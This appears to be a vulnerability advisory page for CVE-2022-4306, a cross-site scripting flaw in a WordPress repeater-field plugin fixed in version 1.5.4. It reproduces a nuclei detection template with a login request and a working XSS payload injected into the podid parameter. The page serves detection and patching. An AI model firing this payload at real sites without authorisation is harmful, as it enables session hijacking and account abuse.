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CVE-2022-4306· panda pods repeater field project / panda pods repeater field· CWE-79

WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting

mediumseverity
5.4CVSS score
0.8%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it

WordPress Panda Pods Repeater Field before 1.5.4 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. This can be leveraged against a user who has at least Contributor permission. An attacker can also steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Fixed in version 1.5.4.

How to confirm it

Send: POST /wp-login.php ; GET /wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(document.domain);/*x&iframe_id=panda-repeater-add-ne…
Positive when: status_code_2 == 200 and contains(body_2, "alert(document.domain)") and contains(body_2, "panda-repeater-add-new")

Run it with nuclei: nuclei -id CVE-2022-4306 -u <target>

The full check
id: CVE-2022-4306

info:
  name: WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Panda Pods Repeater Field before 1.5.4 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. This can be leveraged against a user who has at least Contributor permission. An attacker can also steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 1.5.4.
  reference:
    - https://wpscan.com/vulnerability/18d7f9af-7267-4723-9d6f-05b895c94dbe
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4306
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-4306
    cwe-id: CWE-79
    epss-score: 0.00849
    epss-percentile: 0.58457
    cpe: cpe:2.3:a:panda_pods_repeater_field_project:panda_pods_repeater_field:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: panda_pods_repeater_field_project
    product: panda_pods_repeater_field
    framework: wordpress
  tags: cve,cve2022,xss,panda,pods,repeater,wordpress,wp-plugin,wpscan,authenticated,panda_pods_repeater_field_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(document.domain);/*x&iframe_id=panda-repeater-add-new&success=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "panda-repeater-add-new")'
        condition: and

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